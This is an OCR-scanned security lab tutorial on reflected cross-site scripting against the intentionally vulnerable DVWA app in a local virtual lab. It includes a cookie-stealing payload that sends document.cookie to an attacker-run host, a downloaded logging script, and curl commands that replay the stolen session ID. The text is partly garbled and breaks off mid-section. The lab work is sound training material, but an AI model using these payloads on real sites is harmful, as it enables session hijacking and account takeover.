(Damn Vulnerable

{ Reflexive Cross Site Scripting (XSS),

Section 0. Background Information

1. What is Damn Vulnerable Web App (DVWA)?
o Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application t
o Its main goals are to be an aid for security professionals to t
better understand the processes of securing web applications ar
class room environment.

2. What is a SQL Injection?

o SQL injection (also known as SQL fishing) is a technique often

o This is done by including portions of SQL statements in an entr
SQL command to the database (e.g., dump the database contents t
exploits a security vulnerability in an application's software.

o The vulnerability happens when user input is either incorrectly
statements or user input is not strongly typed and unexpectedly
websites but can be used to attack any type of SQL database.

3. What is Cross Site Scripting?

o Cross-site scripting (XSS) 1is a type of computer security wvulne
XSS enables attackers to inject client-side script into Web pac
A cross-site scripting vulnerability may be used by attackers t
In Addition, the attacker can send input (e.g., username, passwu
script.

o O O

4, Pre-Requisite Labs
o Damn Vulnerable Web App (DVWA): Lesson 1l: How to Install DVWA in Fedora 14

5. Lab Notes

o In this lab we will do the following:
We will test for a basic Reflected Cross Site Scripting vt
We will use document.cookie to display the PHPSESSID.
We will implement a remote cookie script to record PHP Ses
We will use the captured PHP Session IDs to remote log int
We will encode a previous union SQL injection and remotely

NN


http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/lesson1/index.html

6. We will encode a previous find command execution and remot

6. Legal Disclaimer

o As a condition of your use of this Web site, you warrant to con
purpose that is unlawful or that is prohibited by these terms,

o In accordance with UCC § 2-316, this product is provided with "
is provided "as-is", with "no guarantee of merchantability."
In addition, this is a teaching website that does not condone n
You are on notice, that continuing and/or using this lab outsic
the law.

o © 2014 No content replication of any kind is allowed without ex

Section 1: Configure Fedoral4 Virtual Machine Settings

1. Open Your VMware Player
o Instructions:

1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings
o Instructions:

1. Highlight fedorald
2. Click Edit virtual machine settings



fedoraiqd

State:
0S:
Version:
RAM:

Powered Off

Red Hat Linux
Workstation 6.5-7.x virtual machine
640 MB

[_E{l} Play virtual machine

Q
& Editvirtual machine settings

3. Edit Network Adapter

o

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Hardware | Options

Device Summary De\noe status
% Memory 512M8 {_|Connected
[ Processors 1 [V] Connect at power on
mHard Disk (SCSI) 20GB .
£, CD/DVD (IDE) Auto detect Nﬁmﬂqnwwm
=4 Floppy Auto detect 2. WP © Bridged: Connected drrectly to the physical network
[P Reptcate physcal network connecton stae
e
U;;;mc::'" s ©) NAT: Used to share the host's IP address
=:printer Present ) Host-only: A private network shared with the host
Boisplay Auto detect & iiii 5
(LAN Segments... | [ Advanced...
L Add... ][ Remove ]

[ ok || cacel |[ Hep

Section 2: Login to Fedoral4

1. Start Fedorald4 VM Instance
o Instructions:

1. Start Up VMWare Player
2. Select Fedorali
3. Play virtual machine



fedoraiqg

State:
OS:
Version:
RAM:

Powered Off

Red Hat Linux

Workstation 6.5-7.x virtual machine
640 MB

L[js Play virtual machine

L7
A - %
& Edit virtual machine settings

2. Login to Fedoral4

o

Instructions:

1. Login: student
<whatever you set it to>.

2. Password:



6

Fedorald

- Student
| e |

Password: ||

m English (United States) | v =% USA @ Sun 10:42 AM

ERELTETEEE vmware

Section 3: Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
o Instructions:

1. Applications --> Terminal



3

| Places System @& (o [ . =" SunApr 1,10:45AM Stude

Ll

IS Accessories
<l Games

% Graphics
(a) Intemet
%4 office ) A\
) Sound & Video

-~ B Automatic Bug Reporting Tool

= CD/DVD Creator

S, Déja Dup Backup Tool
&) Disk Usage Analyzer
m— Disk Utility

@ stuinux Troubleshooter
&= software Log Viewer

B System Monitor

Use the command line

I

To drect nput o this vitual machine, press QG e Yy I I

2. Switch user to root
o Instructions:

1. su - root
2. <Whatever you set the root password to>



root@Fedorald:~
File Edit View Search Terminal Help

[student@Fedoral4 ~J$ su - root
Password:
[root@Fedorald ~]# |

ERELET RS vmware

3. Get IP Address
o Instructions:
1. ifconfig -a
o Notes (FYI):
* As indicated below, my IP address is 192.168.1.118.
= Please record your IP address.



Hq—'llm'iﬁblill
€) Applications Places System

& ¢ & student
rootaFedorald:/
Search Terminal Help

File Edit View
[root@fedor& ifconfig -a
ethl Lin ca dr 00:0C:29:8F:FE:19

inet addr 192 168 1.118 | Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: 120C:29ff: febf:fel9/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1

RX packets:21209 errors:0 dropped:® overruns:0 frame:®

TX packets:2591 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:1066

RX bytes:2762594 (2.6 MiB) TX bytes:1127684 (1.6 MiB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:115 errors:0 dropped:® overruns:0 frame:0
TX packets:115 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:®

RX bytes:14364 (14.0 KiB) TX bytes:14364 (14.0 KiB)

[root@Fedorals /]# |}

Sm]tL

| B root@Fedorald:/var/w... | [ *Unsaved Document 1... |

Section 4: Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player

e}

Instructions:
1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings

e}

Instructions:
1. Highlight BackTrack5R1
2. Click Edit virtual machine settings



are Payer rHie v !

BackTrack5R1

State: Powered Off

0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512 MB

L Play virtual machine

2
j“ Edit virtual machine settings <:

3. Edit Network Adapter

e}

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Device Summary ey
5 Memory s12M8 L camneaes
[ Processors 1 |¥] Connect at power on
mmaHard Disk (SCSI) 20GB :
£)CODVD (DE)  Auto detect Mkt Conpacin
[ Floppy Auto detect 2. » @ Bridged: Connected directly to the physical network
i Network Adapter _Bridged "] Repicate physical network connection state
mcﬂ:" s ) NAT: Used to share the host's IP address
o Printer MBI () Host-only: A private network shared with the host
Boisplay Auto detect ) LAN segment:
hAN&gmm&"][MMmmﬁu
3.
| Add.. || Remove | J'L
oK

Section 5: Login to BackTrack

1. Start BackTrack VM Instance

o Instructions:

1. Start Up VMWare Player
2. Select BackTrack5R1
3. Play virtual machine



gU BacTraksR1

RAM:

BackTrack5R1
State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine

512 MB

E@ Play virtual machine <:

2. Login to BackTrack
o Instructions:

1. Login: root

T
& Editvirtual machine settings

2. Password: toor or <whatever you changed it to>.



~ BackTrackSR1 - VMware Player File v Vitual Machine ~ Help ~ e

125671 Copyright (c) 1999-26 .S1 Corporation
561 FDC 0 is a post-1991 82077
771 pcnet3Z: penet3Z.c:ivl.35 Z21.Apr.2008 tsbogend@alpha.franken.de
D000:02:01.0: PCI INT A -> GSI 19 (level, low) -> IR{ 19
agpgart-intel 0000:00:00.0: Intel 440BX Chipset
pcnet3Z: PCnet/ [ DA at OxZ2000 2:29:90:13:78 assigned IRQ 19
agpgart-intel ©0€ 00 . AGP ape e is 256N @ Ox0
etho: registered as PCnet/PCI 11 79C970A
847391 pcnet3Z2: 1 cards_found
3.404691] Fusion MPT SPI Host driver 3.04.18
3.408410) nptspi 0000:00:10,0: PCI INT A -> GSI 17 (level, low) -> IRQ 17
3.4087331 S iocO: Initiating bringup
3.4882821 iocO: LSIS3C1030 BO: Capabilities={Initiator}
S y 0: LSIS3C1030 BO, FuRev=01032920h, Ports=1, Max()=128, IRQ=17
: Direct-ficcess UNware, VUMware Virtual S 1.0 PQ: ©0 ANSI: 2
Begimning Domain Validation
Domain Validation skipping write tests
. :0: Ending Domain Validation
3.787761) target2:0:0: FAST-40 WIDE SCSI1 80.0 MBrss ST (25 ns, offset 127)
3.7944167) sd 2:0:0:0: (s 41943040 512-byte logical blocks: (21.4 GB-20.0 GiB)
3.795671) sd 2 : s Hrite Protect is off
.795811) s :0:0:0: [s Cache data unavailable
. 7958811 sd D: Assuming drive cache: write through
fittached scsi generic sgl type O
[sdal Cache data unavailable
8036261 sd 2 0 [sda) Assuming drive cache: write through
3.8556261 ¢ sdaZ2 < sdaS >
3.883776) sd 2 ( sdal Cache data unavailable
3.86875051 sd 2:0:0:0: [sdal Assuming drive cache: write through
3.887577]1 sd 2:0:0:0: [sdal Attached SCS

BBackTrack 5 Ri Code Name Revolution 32 bitbt ttuyl
bt login: root
jPassword:

o I[Todrect inputto this vtual machine. press -G, | - - ) iy o LT

3. Bring up the GNOME
o Instructions:

1. Type startx



- BackTradkSR1 - VMware Player file « Vil Machae = Help = _

O [Tadiart rent 1ot vtk machivn evmse OoGs B __EYSTRL TN vmware

Section 6: Open Console Terminal and Retrieve IP Address

1. Open a console terminal
o Instructions:

1. Click on the console terminal



SO R

i, BacTradSR1 - VMware Player  File ~ Vittual Machine ~ Help. — = C
\ Applications Places System [+ | Wed Dec 7, 7:08 AM

|
!
:
\

c< hack | track [=

-
AT TR FRECELEE veware

@)

2. Get IP Address
o Instructions:
l. ifconfig -a
o Notes (FYI):
» As indicated below, my IP address is 192.168.1.119.
» Please record your IP address.



.;:45 BackTrackSR1 - Vidware Player (Non-commercial use only) et I o —

\. > ot r—")

root@bt: /etc/network

t ifconfig -a
~Erhero agdr 00:0¢:29:13:65:02

inet addr Bcast:192.168.1.255 Mask:255.255.255.0

inet6 addr: feB0::20¢:29ff:fela:6502/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1

RX packets:28392 errors:0 dropped:0 overruns:@ frame:0

TX packets:8343 errors:0 dropped:0 overruns:® carrier:9

collisions:0 txqueuelen:1600

RX bytes:134383028 (13.4 MB) TX bytes:915856 (915.8 KB)

Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.6.90
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:2923 errors:0 dropped:@ overruns:0 frame:0
TX packets:2923 errors:0® dropped:9® overruns:® carrier:0
collisions:® txqueuelen:o
RX bytes:221825 (221.8 KB) TX bytes:221825 (221.8 K8B)

‘roolebt: etc/networks

rootiSbt: Jetonetwork % Damn Winerable

Section 7: Login to DVWA

1. Start Firefox
o Instructions:

1. Click on Firefox



ey 4 Load

py e A

Applications Places System &) ) Wed Apr 11, 11:30

I\

2. Login to DVWA
o Instructions:
1. Place http://192.168.1.118/dvwa/login.php in the address &
* Replace 192.168.1.118 with the IP address of the DVWZ
Login: admin
Password: password
Click on Login

o
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Player « i~ oD :.: [ » 3 ! rg
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* Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

L

& B s | hps192.168.1.118/dvwallogin.php vl g

Username

aamin

Password

password

4 JUET

¥ [=] root@bt: / ) DamnWilner... %) Tamper Data E *Unsaved Do =] root@bt: ~

Section 8: Set Security Level

1. Set DVWA Security Level
o Instructions:
1. Click on DVWA Security, in the left hand menu.
2. Select "low"
3. Click Submit



' BackTrackSR1 - VMware Player (Non-commercial use only) 0 ke
Player v | il > & M W >3 | ¥y = & O
D s PRTRESR RS - Sun jul 27,

x Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox

Damn Vulnerable Web App (DV...

< st | http.//192.168.1.118/dvwa/security.php v'fE BT
Home . DVWA Security »
Instructions |
Setup ‘ Script Security
Security Levei Is currently high.
Brute Force ]
You can set the security level to low, medium or high
Command Execution
The security level changes the vulnerability level of DVWA
CSRF |
Flle Inclusion
'SQL Injection I
SQL Injection (Blind) |
¢ | v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web appli
XSS reflected |

You can enable PHPIDS across this site for the duration of your session

PHPIDS Is currently disabled. | . ]

[ fe attack] - [ ]

=] root@bt: fetc/network ) Damn Winerable Web ...

1. Basic Design Test
o Instructions:

1. Click on XSS reflected

2. Input Your Name into the textbox

3. Click the Submit Button

4. Notice that the name that you provided in the textbox is c
o Note (FYI):

1. At first glance, the application is working as designed tc



"?Z;‘ BackTrackSR1 - VMware Player (Non-commercial use only) k

Player v v o 1 H » 3 .-

Home [ Vulnerability: Reflected Cross Site Scripting
Instructions |
Setup \ What's your name?

¢J0h11 Gray Submit «
Brute Force | S
|

Command Execution Hello John Grdy«

CSRF
File Inclusion More info

|

J

| SQI. lnjoction ) | [
‘SQL Injection (Blind) |

=) root@bt: ~

=] root@bt: varft =) DamnWinera... &) Tamper Data - IE *Unsaved Doc

2. Test webpage for Basic Cross Site Script (XSS) Injection

o

Instructions:
1. Click on XSS reflected

2. In the "What's your name?" place the following string
» <script>alert("Hello")</script>

3. Click the Submit Button



4 BackTrackSR1 - VMware Player (Non-conmera.;l uze only) T — L

Plac ) Wed Aug 13, 3:40 PM
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mc

He¢

o)

Home | Vulnerability: Reflected Cross Site Script

Instructions
Setup ] What's your name?

<script>alert("Hello")</script>| || Submit «
Brute Force ‘ > -

Command Execution
CSRF
File Inclusion

More info

ot by e o)

Upload aJ

L

XSS stored

—
L

=) root@bt: varft &) DamnWilnera... &) TamperData-.. [ *Unsaved Doc... [5) root@bt: ~

Cross Site Scripting (XSS) Results
Note (FYI) :
= Note a message box pops up, because application displays v
because you can use JavaScript to harvest information.
Instructions:

0. Click the Okay Button



Read 192.168,1.118

) Damn Winera.. " Tamper Data -

Section 10: Reflexive Cookie Attack

1. Inspect Element (Textbox)
o Instructions:

1. Click on XSS reflected
2. Right Click in the textbox
3. Click on Inspect Element



5y BackTrackSR1 - VMware Player (Non-commercial use only) ¢

Player « v /5= o >3 B -

s | Vulnerability: Reflected Cross Site Script
Instructions ;
Setup What's your name?

‘Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SaL injection (Blind)
_un&g
|

More info

XSS stored | Inspect Element 3

=] root@bt: vart

©) DamnWilnera... &) TamperData-.. [ *Unsaved Doc... [Z] root@bt: ~

2. Add New Attribute

o

Instructions:
1. Right Click on the gray highlighted line
2. Select New Attribute...
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54 BackTrackSR1 - VMware Player (Non{om:;;al use on;y') P —— ;

‘Pla',-evv ‘-“_4:-:% * 3 Eﬂ!
; . [._1')

Vulnerabijisssss Site Scripf

What's your na

New Attribute

wut  form Stylev = Co..
WIPNL 1O
; 1 5
= <div 1de"main body"> input maln.
= <div class="body padded”> textarea
<hl>Vulnersbility: Reflected Cross Sat ?de\(
= <div (lnss-'.ulnrr;\h'!r_codr_arr.\'.- font: 100% .
= <form method="GET* action="#" nase= serif:
<p>What ‘s your name? </ .e'-rnc.ﬂ
<anput type="text align: middle;
<input type=“submsit® }
</fora> Inherited from fo
</div>
<h2>More info</h2> fora, main.
v fieldset
+ <yl »

L ——————— e s ————————— {
=) root@bt: varft ) DamnWinera... &) Tamper Data - “ *Unsaved Doc (=] root@bt: ~

Increase the Textbox Size

o

Instructions:
1. Type the following: size=100
2. Click on the close button



sid St -_ﬁt—tb:—//i‘;z_lg-&lA118,’dear;1-lrwmb«h!resfxsskrl '—a'- --‘iv

Home . Vulnerability: Reflected Cross Site Script

Setup | What's your name?

neole | HTML~ | €S8 Scoipt DOM Mot P

; '_. : -. . uu: ¢ (LAY v e area div. paqdqaed 'main_b i -' or] ." - Stylev [[E0s
= «giv 1d="spin_body"» a input, maln,
= «<div class="body padded*> textares,
<hl>Vulnerability: Reflected Cross Site Scripting (XSS) </hl> ?‘312(1
= «div dass-'-ulner:\b\c‘-:odc_.vr.\\";- = , RN
= <form method="GET" action="#" nase="XSS"> cenie

<p>What ‘s your name?«</p>

vertical

<input type=“submit” value=®Submait*> }
</fore> Inherited from fo
</div>
<h2>More info</h2> form, maln.
: v fieldset
# <yl »
—— et ———————————————————— S

<] root@bt: varft ) DamnWinera... &) Tamper Data - EE *Unsaved Doc. ] root@bt

Cross Site Script (XSS) Cookie Injection
Instructions:
1. In the "What's your name?" Textbox place the following str
= <script>alert (document.cookie)</script>
2. Click the Submit Button
Note (FYI) :
1. The goal here is to determine (1) if this webpage contains
box.



| C:':; BackTrackSRL VM:'“ Playes (w<“ﬂ’- A e i — =

Player v | [l » & W 7§ >3 e =
tio ystem [~ | @) Wed Aug 13, 9:38 PM
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mc

[ Damn Vulnerable Web App (DV...

< st M http/192.168.1.118/dvwa/vulnerabilities/xss_r/ vl gy
s . Vulnerability: Reflected Cross Site
Instructions l
Setup ‘ What's your name?
f:.s.cnppaienkdbc.umem Céb‘k}é)cz"scnpAP «
S forcs | Submit |
Command Execution \
oot J More info
File Inclusion |
SQL Injection |
'SQL Injection (Blind)
Upload |
‘_ grecea’ !
XSS stored |

(D] root@bt: vark... &) DamnWilnera... &) TamperData-.. [ *Unsaved Doc =] root@bt: ~

5. View Cookie
o Instructions:

1. Notice the cookie displays a security setting and PHP Sesc

2. Click the OK Button
o Notes (FYI):

1. Imagine if this was a bank website and every time a user 1



|security=low; PHPSESSID=6kavcaltmgsb32djgplhovj584|

Section 11: Prepare BackTrack CGI Cookie Script

1. On BackTrack, Start up a terminal window
o Instructions:

1. Click on the Terminal Window
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ce hack | track [=

2. Start Apache?2

o Instructions:
1. service apache2 start
2. service apache2 status
3. ps —eaf | grep apache2 | grep -v grep

o Note (FYI):
1. Start up the apache2 webserver.
2. Display the status of the apache2 webserver.
3. See the processes of the apache? webserver.



"5 BeckTrackSR1 - Vidware Player (Non-commercial use only)
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* root@bt: /

{root@gbt: # service apache2 start
| * Starting web server apache2
[rootgbt: /@

[rootgbt: /@

[root@bt: /# service apache2 status
Apache 15 running (pid 2§78).
root@be: /¢

root@bt: /@

rootbt: '# ps -eal A grep apache2 | grep -v grep «

|root 2878 1 0 23:527? 00:00:00 /us in/apache2 -k start

lwv-dala 2881 2878 © 23:52 7 00:00:00 Jusr/sbin/apache2 -k start

www-data 2882 2878 @ 23:52 ? 00:00:00 /usr/sbin/apache2 -k start

lwv‘data 2883 2878 0 23:52? 00:00:00 Jusr/sbin/apache2 -k start

}u\mda(a 2884 2878 © 23:52 7 00:00:00 Jusr/sbin/apache2 -k start
-data 2885 2878 O 23:52 7 ©0:00:00 /usr/sbin/apache? -k start

rootgbt: #

3. Make Apache Log Directory

o Instructions:
1. mkdir -p /var/www/logdir
2. chown www-data:www-data /var/www/logdir
3. chmod 700 /var/www/logdir
4, 1s -1d /var/www/logdir

o Note(FYI):
1. Make a directory called logdir inside of /var/www
2. Set the ownership of logdir to www-data
3. Set the permission of logdir to where only the apache2 prc
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{rootgdt
rootgbt
root{bt
rootgdt

[root@bt

rootdt

# skdir -p /var/wwi/logdir
o
o
: /8 chown www-data:www-data /var/wew/logdir

<=

\root@bt:/# chaod 700 /var/www/logdir «
rootgbt: »

[rootgbt
{root@bt

[rootgbt
rootgbt
‘vootﬁbt

:/# \s ~1d /var/we/logdir
~-= 2 ww-data Www-data 4096 2013-10-16 23:31 /var/www/Logdis «

oy |

4. Configure

CGI Cookie Script

o Instructions:

oL E

e

ct

o No

oahrwhE

cd /usr/lib/cgi-bin/

wget http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAvV1C
mv logit.pl.TXT logit.pl

chown www-data:www-data logit.pl

chmod 700 logit.pl

perl -c logit.pl

FYI) :

Change directory to /usr/lib/cgi-bin

Use wget to download the CGI Cookie Script

Rename Script

Set ownership of script to www-data, which is the same owr
Set permission to where only the www-data user can read, w
Check the syntax of the CGI Cookie Script (logit.pl)
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* root@bt: /usr/lib/cgi-bin

cd /usr/lib/cgi-bin/
{root@b® /usr/1ib/cgi-bing
root@bt: /usr/1ib i ni#
root@bt:/usr/lib wget http://www.computersecuritystudent.com/SECURITY TOOLS/DVWA/DVWAV107/lessonl6/10
<=2014-08-14 12:54:41F-  http://www.computersecuritystudent.com/SECURITY TOOLS/DVWA/DVWAV107/1lessonl6/logit.pl
Resolving www.computersecuritystudent.com.,, 75.11.117.94

Connecting to www.computersecuritystudent.com|75.11.117.94|:80... connected.

HTTP request sent, awaiting response... 200 0K

fLength: 1979 (1.9K) [text/plain]

ESaving to: “logit.pl.TXT*

106%[ =>] 1,979 --.-K/s 1n

2014-08-14 12:54:41 (5.80 MB/s) - "logit.pl.TXT' saved [1979/1979]
|

iroot@bt:
root@bt:
froot@bt:

{ mv logit.pl.TXT logit.pl
L

jroot@bt: ¢5
!

b
lib/cq1

b

b

chown www-data:www-data logit.pl

jroot@bt: /u
root@bt: /us
jroot@bt: chmod 700 logit.pl

u
'root@bt: us

root@bt: /usr/lib, -Rin
root@bt:/usr/1ib » perl -c¢ logit.pl
logit.pl syntax OK

root@bt: /usr/lib/cgi-bin# |

- Y Y M My m w wm m

[l
o ooooUoDo

=1 root@bt: jusriib/cgi-bin scripting 2 & *find_execution.txt (

Section 12: Send Cookie to Remote Server

1. Inspect Element (Textbox)
o Instructions:

1. Click on XSS reflected
2. Right Click in the textbox
3. Click on Inspect Element
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s | Vulnerability: Reflected Cross Site Script
Instructions ;
Setup What's your name?

‘Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SaL injection (Blind)
_un&g
|

More info

XSS stored | Inspect Element 3

=] root@bt: vart

©) DamnWilnera... &) TamperData-.. [ *Unsaved Doc... [Z] root@bt: ~

2. Add New Attribute

o

Instructions:
1. Right Click on the gray highlighted line
2. Select New Attribute...
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Vulnerabijisssss Site Scripf

What's your na

New Attribute

wut  form Stylev = Co..
WIPNL 1O
; 1 5
= <div 1de"main body"> input maln.
= <div class="body padded”> textarea
<hl>Vulnersbility: Reflected Cross Sat ?de\(
= <div (lnss-'.ulnrr;\h'!r_codr_arr.\'.- font: 100% .
= <form method="GET* action="#" nase= serif:
<p>What ‘s your name? </ .e'-rnc.ﬂ
<anput type="text align: middle;
<input type=“submsit® }
</fora> Inherited from fo
</div>
<h2>More info</h2> fora, main.
v fieldset
+ <yl »

L ——————— e s ————————— {
=) root@bt: varft ) DamnWinera... &) Tamper Data - “ *Unsaved Doc (=] root@bt: ~

Increase the Textbox Size

o

Instructions:
1. Type the following: size=100
2. Click on the close button
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Home . Vulnerability: Reflected Cross Site Script

Instructions |
Setup | What's your name?
o Wl s o2 | Y. consele | HTMLY | €SS  Script DOM  Net P

106N dIVLVA

'_. <t 0 ..0de_area div.body_padded divémain_body .' N - Stylev [[E0s

= «giv 1d="spin_body"» a input, maln,
= «<div class="body padded*> textares,
<hl>Vulnerability: Reflected Cross Site Scripting (XSS) </hl> ?d’d
= «div class="vulnerable_code_area"> , RN
= <form method="GET" action="#" nase="XSS"> cenie

<p»What ‘s your name? </p>

vertical

<input type=“submit” value=®Submait*> }
</fore> Inherited from fo
</div>
<h2>More info</h2> form, maln.
: v fieldset
# <yl »
—— et ———————————————————— S

<] root@bt: Nvartt ) DamnWilnera... &) Tamper Data - EE *Unsaved Doc. =] root@bt: ~

Cross Site Script (XSS) Injection
Note (FYI) :
1. Replace 192.168.1.119 with your BackTrack IP Address obtai

2. This JavaScript tells the web browser to send the cookie 1]
Instructions:

1. In the "What's your name?" Textbox place the following str
= <SCRIPT>document.location="http://192.168.1.119/cgi-bin/logit.pl?'+docun
2. Click the Submit Button
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mc

Damn Vulnerable Web App (DV...

e . Vulnerability: Reflected Cross Site Scripting

I Instructions J
‘Setup J What's your name?

| <SCRIPT>document location="http://192.168.1.118/cgi-binflogit. pi?*+document.cookie</SCi
| Brute Force Submit

' CSRF
| |Fite inclusion
SQL Injection
| SQLinjection (Blind)
Upload

More info

|
- Command Execution
J
|
l
|
!
|
!

=) root@bt: var/ ) Damn Winera... 2 Tamper Data - & *Unsaved Doc =] root@bt: ~

View Cookie Script Results
o Instructions:
1. Notice the cookie contains the security setting
2. Notice the cookie contains the PHP Session ID.
o Notes (FYI):
1. Note a malicious person would not actually want display tt
2. Continue to the next step to see where a malicious person
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* Mozilla Firefox

http://192.168....b32djqplhov|584 3

\W St | hitp:/192.168.1.119/cgi-binflogit.pl?security=low; PHPSESSID=6kavcaltmg8b32djgplhovj v | [#fv &

Fedora DVWA IP Address

| HTTP_REFERER: http:/}192.168.1.118}dvwa/vulnerabilities/xss r/?name=%3CSCRIPT%3Edocument.lo
%30%27http%’3t\%2F% : -T19%2Fcgi-bin%2Flogit.pl%3F%27%2Bdocument.cookie
%3C%2FSCRIPT%3E

) DATE: Wed Aug 13 22:08:14 CDT 2014; NAME: security;VALUE: low ?
DATE: Wed Aug 13 22:08:14 CDT 2014; NAME: PHPSESSID;VALUE: 6Kavcaltmq8b32djqplhovj584 <

™ =) root@bt: var/ ) Mozilla Firefox ) Tamper Data - E ‘Unsaved Doc =) root@bt: ~

6. View Cookie Script Log File

o

e}

Note (FYI) :
1. Replace 192.168.1.119 with your BackTrack IP Address obtai
2. Now we have a running log file of IP Addresses, Cookie Sec
3. Pretty scary stuff. This is why it is necessary for web ¢

attempts.
Instructions:

1. Place the following URL in the Address Textbox
* http://192.168.1.119/1ogdir/log.txt

2. Click the Back Arrow Two Times.
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* Mozilla Firefox

L

http://192.168.1.119/logdirflog.txt
: St | http/192.168.1.119/10gdir10g.txt « viel [y c
________________________________ The log.txt file resides in /var/wwwi/logdir on BackTrack

TP REFERER: http://192.168.1.118/dvwa/vulnerabilities/xss r/7name=%3CSCRIPT%3Edocument. loc:
ATE: Wed Aug 13 22:08:14 CDT 2014; NAME: security; VALUE: low
ATE: Wed Aug 13 22:08:14 CDT 2014; NAME: PHPSESSID; VALUE: 6kavcaltmg8b32djqplhovj5s4

Click the Back Arrow Two Times

|
)

<] root@bt: var/ ) Mozilla Firefox ) Tamper Data - . I *Unsaved Doc =] root@bt: ~

7. View the Current User that is logged in

o

e}

Note (FYI) :
* In the lower left corner of the screen you will see that '
* In the proceeding steps we will demonstrate how a remote U
command line.
Instructions:
0. Click on Home
1. Notice the "admin" user is logged in with a low security =



=) 4 g =

—

Username: admin
Security Level: low
PHPIDS: disabled

i =

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulr
to be an aid for security professionals to test their skills and tools in a legal environmen
better understand the processes of securing web applications and aid teachers/studen
application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provid
any internet facing web server as it will be compromised. We recommend downloading
onto a local machine inside your LAN which is used solely for testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We ha
the application clear and it should not be used maliciously. We have given warnings an:
prevent users from installing DVWA on to live web servers. If your web server is compr
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded
General Instructions

The help button allows you to view hitsitips for each vulnerability and for each security
page.

Notice the "admin" user is logged
in with a low security setting

8. Remotely Log In Via Command Line
o Instructions:

cd /var/www/logdir/

WP o

4.

ls -1 log.txt

cat log.txt

curl -b "security=low; PHPSESSID=6kavcaltmg8b32djgqplhov;j584

egrep

o Note (FYI):

' (Username: | Security Level:)'

login.html

4. Replace 6kavcaltmg8b32djgplhovj584 with your PHPSESSID Val

5. This is the HTML representation of the user login informat
admin and the Security Level is set to low.
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ns Places

root@bt: /var/www/logdir

¥ cd /var/wwa/logdir/
root@bt™ /var/www/logdir#
root@bt: /var/www/l L #
root@bt: /var/www
f-rw-r--r-- 1 waw-dat® www-data 410 2014-68-13 22:08 log.txt
root@bt: /var/www/logdir#

{root@bt: /var logdgr#
[root@bt: /v: »cat log. txt

HTTP_REFERER: http://192.168.1.118/dvwa/vulnerabilities/xss r/?name=%3CSCRIPT%3Edocument.location%3D%27ht
2F192.168.1.119%2Fcqi-bins2Flogit. pl%3Fs27%2Bdocument . cookies3C%2FSCRIPTS3E

IDATE: Wed Aug 13 22:88:14 CDT 2014; NAME: security; VALUE: [Low]

IDATE: Wed Aug 13 22:08:14 CDT 2014; NAME: PHPSESSID; VALY |6kavcaltmqsb32djqplhov)5sd |

""""""""""""""""" Place your cookie
information here

PHPSESSID=6kavcaltmg8b32djgplhovj584" --location “http://1

1s -1 log.txt

root@bt: /var/www/\
|root@bt: /va

r/w oy r#
[root@bt: /var/www Q curl -b “security
1118/dvwa/" > login.h

| % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
1102 4493 102 4493 0 0 2768k Q +rivviee seieeies eereezes 313K
root@bt: /var/www/logdir#
root@bt: /var/www/logdar#
root@bt: /var/www $ egrep '(Username:|Security Level:)' login_ htm
<div align='1eft'><b>Usernaae:</b>br /><b>Security Level:</b>

HPIDS:</b> disabled</div>

root@bt: /var/www/logdir# [J This is the HTML represention of the user login

information you would see in the lower left
| corner

1 root@bt: Nvarl.. » Damn VWulnera ) Tamper Data-... | *Unsaved Doc. | @bt: Nvar/

Section 13: How to Encode a SQL Injection

1.

Inspect Element (Textbox)

o

Instructions:
1. Click on the Damn Vulnerable Web App Tab
2. Click the SQL navigation link.
3. Right Click on the Textbox
4, Click Inspect Element
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Vulnerability: SQL Injection

Home

e User ID:
Setup

BruteForce |

Command Execution | More info

Inspect Element 4

TS M moot@b vardawrw 2 TSR AR S o el

ome To Backtrack

2. Add New Attribute
o Instructions:

1. Right Click on the gray highlighted line
2. Select New Attribute...
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

S . hMtp/192.168.1.118/dvwa/vulnerabilities/sqli/

B Damn Vulnerable Web App (...
e

